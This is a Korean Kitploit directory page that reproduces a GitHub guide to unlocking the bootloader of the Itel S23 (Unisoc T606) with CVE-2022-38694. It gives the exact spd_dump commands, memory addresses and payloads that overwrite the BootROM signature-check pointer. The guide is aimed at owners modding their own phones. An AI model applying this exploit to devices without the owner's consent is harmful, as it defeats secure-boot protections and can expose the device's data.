Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ubl-itel-s23 — Itel S23 (S665L) / Unisoc T606용 부트로더 잠금 해제 (CVE-2022-38694 사용) | Kitploit
도구/GitHubGitHub/aureliusivan/ubl-itel-s23
Android SecurityEmbedded Systems SecurityVulnerability AnalysisExploitationMobile SecurityHardware SecurityLearning & EducationFirmware AnalysisBinary Exploitation
GitHubaureliusivan/ubl-itel-s23

ubl-itel-s23

Itel S23 (S665L) / Unisoc T606용 부트로더 잠금 해제 (CVE-2022-38694 사용)

425개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

부트로더 잠금 해제 — Itel S23 (S665L) / Unisoc T606

Unisoc T606 (UMS9230) 칩셋에서 CVE-2022-38694 익스플로잇을 사용하여 Itel S23 (S665L)의 부트로더를 잠금 해제하는 가이드입니다.

디바이스 정보

속성값
브랜드Itel
모델S665L (S23)
안드로이드12 (SDK 31)
빌드S665L-F065OPRSUVApAqAr-S-GL-20250207V533
SoCUnisoc T606 (UMS9230)
CPU2x Cortex-A75 + 6x Cortex-A55 (ARMv8, 64-bit)
저장소UFS
슬롯A/B

사전 요구 사항

  • Linux (Fedora 43에서 테스트)
  • adb 및 fastboot 설치
  • USB 데이터 케이블 (충전 전용 아님)
  • 배터리 80% 이상
  • 개발자 옵션에서 OEM 잠금 해제 활성화
  • 개발자 옵션에서 USB 디버깅 활성화
  • 모든 데이터 백업 (잠금 해제 후 초기화됨)

파일 구조

root@kitploit:~
ubl-itel-s23/
├── README.md
├── CLAUDE.md
├── recovery/
│   ├── TWRP_S665L.img              # TWRP recovery image
│   └── OrangeFox_S665L.img         # OrangeFox recovery image
└── tools/
    └── spreadtrum_flash_linux/
        ├── spd_dump                 # BootROM communication tool
        ├── gen_spl-unlock           # Unlock payload generator
        ├── unlock.sh                # Automated unlock script
        ├── fdl1-dl.bin              # First-stage loader
        ├── fdl2-dl.bin              # Second-stage loader
        ├── fdl2-cboot.bin           # Modified uboot for unlock
        ├── custom_exec_no_verify_65015f08.bin  # CVE exploit payload
        ├── custom_exec_no_verify_65015f48.bin  # CVE exploit payload (alt)
        ├── splloader.bin            # SPL backup (generated during process)
        ├── uboot.bin                # uboot backup (generated during process)
        ├── spl-unlock.bin           # Unlock payload (generated during process)
        └── ums9230/itel/            # FDL binaries for Itel UMS9230

작동 방식 (CVE-2022-38694)

이 익스플로잇은 Unisoc BootROM의 취약점을 이용하여 서명 확인이 완료되기 전에 메모리 영역에 데이터를 쓸 수 있도록 합니다.

root@kitploit:~
Normal:   BootROM → verify(FDL1) → REJECT (unsigned)
Exploit:  BootROM → overwrite verify() → verify = always_true
               → accept(FDL1) → ACCEPT → unlock bootloader

custom_exec_no_verify 페이로드(96바이트)는 주소 0x65015f08에 있는 서명 확인 함수 포인터를 덮어쓰기하여 BootROM이 서명을 확인하지 않고 모든 FDL1을 수락하도록 합니다.

잠금 해제 과정

초기 설정

  1. USB 액세스를 위한 udev 규칙 설치:
root@kitploit:~
sudo tee /etc/udev/rules.d/51-android.rules << 'EOF'
# Google/Android (ADB & Fastboot)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", MODE="0666", GROUP="plugdev"
# Spreadtrum/Unisoc
SUBSYSTEM=="usb", ATTR{idVendor}=="1782", MODE="0666", GROUP="plugdev"
EOF
sudo udevadm control --reload-rules && sudo udevadm trigger
  1. FDL 파일과 익스플로잇 페이로드를 작업 디렉토리로 복사:
root@kitploit:~
cd tools/spreadtrum_flash_linux
cp ums9230/itel/fdl1-dl.bin ums9230/itel/fdl2-dl.bin ums9230/itel/fdl2-cboot.bin .
cp ums9230/custom_exec_no_verify_65015f08.bin ums9230/custom_exec_no_verify_65015f48.bin .
chmod +x spd_dump gen_spl-unlock

단계 1 — splloader 및 uboot 백업, splloader 삭제

전화기가 켜져 있고 USB로 연결되어 있어야 합니다. 이 단계 후에는 전화기가 단계 6까지 부팅되지 않습니다.

root@kitploit:~
sudo ./spd_dump exec_addr 0x65015f48 fdl fdl1-dl.bin 0x65000800 \
  fdl fdl2-dl.bin 0x9efffe00 exec \
  r splloader r uboot e splloader e splloader_bak reset

splloader.bin 및 uboot.bin을 안전한 위치에 백업:

root@kitploit:~
cp splloader.bin uboot.bin backup_spl/

단계 2 — 잠금 해제 페이로드 생성

root@kitploit:~
./gen_spl-unlock splloader.bin 0xfd28

출력: spl-unlock.bin

오프셋 0xfd28은 이 펌웨어에 특정됩니다. splloader.bin의 크기를 확인하세요 — 오프셋이 파일 크기와 일치해야 합니다.

단계 3 — 수정된 uboot 플래시

BROM 모드 진입: 전화기를 끄고 볼륨 다운을 누른 상태에서 USB를 연결하세요.

root@kitploit:~
sudo ./spd_dump exec_addr 0x65015f08 fdl fdl1-dl.bin 0x65000800 \
  fdl fdl2-dl.bin 0x9efffe00 exec \
  w uboot fdl2-cboot.bin reset

단계 4 — 잠금 해제 페이로드 전송

다시 BROM 모드로 진입한 후:

root@kitploit:~
sudo ./spd_dump exec_addr 0x65015f08 fdl spl-unlock.bin 0x65000800

device removed, exiting...이 표시되면 성공을 의미합니다.

단계 5 — 잠금 해제 상태 확인

다시 BROM 모드로 진입한 후:

root@kitploit:~
sudo ./spd_dump exec_addr 0x65015f08 fdl fdl1-dl.bin 0x65000800 \
  fdl fdl2-dl.bin 0x9efffe00 exec \
  verbose 2 read_part miscdata 8192 64 m.bin reset
  • recv 64 zero = 여전히 잠김 (실패)
  • recv 32 string + hash data = 잠금 해제됨 (성공)

단계 6 — splloader 및 uboot 복원

다시 BROM 모드로 진입한 후:

root@kitploit:~
sudo ./spd_dump exec_addr 0x65015f08 fdl fdl1-dl.bin 0x65000800 \
  fdl fdl2-dl.bin 0x9efffe00 exec \
  w splloader splloader.bin w uboot uboot.bin reset

전화기가 재부팅됩니다. Android Recovery가 나타나면 공장 초기화를 선택하세요.

ADB를 통한 확인

전화기가 Android로 부팅된 후:

root@kitploit:~
adb shell getprop ro.boot.vbmeta.device_state
# Expected: unlocked

adb shell getprop ro.boot.flash.locked
# Expected: 0

중요 참고 사항

  • 잠금 해제 후, 전화기는 부팅 시 경고 화면을 표시합니다 (정상입니다)
  • OTA 업데이트가 작동하지 않을 가능성이 높습니다
  • 보증이 무효화됩니다
  • splloader.bin 및 uboot.bin을 삭제하지 마세요 — 문제가 발생할 경우 복원에 필요합니다
  • 단계 1은 주소 0x65015f48을 사용하고, 단계 3-6은 0x65015f08을 사용합니다

크레딧 및 참고 자료

도구

  • spd_dump / CVE-2022-38694 부트로더 잠금 해제 작성자: TomKing062 / QuTick102 https://github.com/TomKing062/CVE-2022-38694_unlock_bootloader

  • Recovery Collections & Spreadtrum Flash Tool (Linux) 작성자: Massatriof16 https://massatriof16.github.io/recovery-collections/#alat

  • unisoc-unlock (Python 대체) 작성자: patrislav1 https://github.com/patrislav1/unisoc-unlock

가이드 및 참고 자료

  • Itel S23 부트로더 잠금 해제 가이드 — XDA 포럼
  • 식별 토큰을 사용하여 Unisoc (SPD) 부트로더 잠금 해제 방법 — Hovatek
  • SUBUT — Spreadtrum/Unisoc 부트로더 잠금 해제 도구 (웹)

복구 이미지

  • Itel S23용 TWRP 및 OrangeFox — 출처: Massatriof16 Recovery Collections
도구 다운로드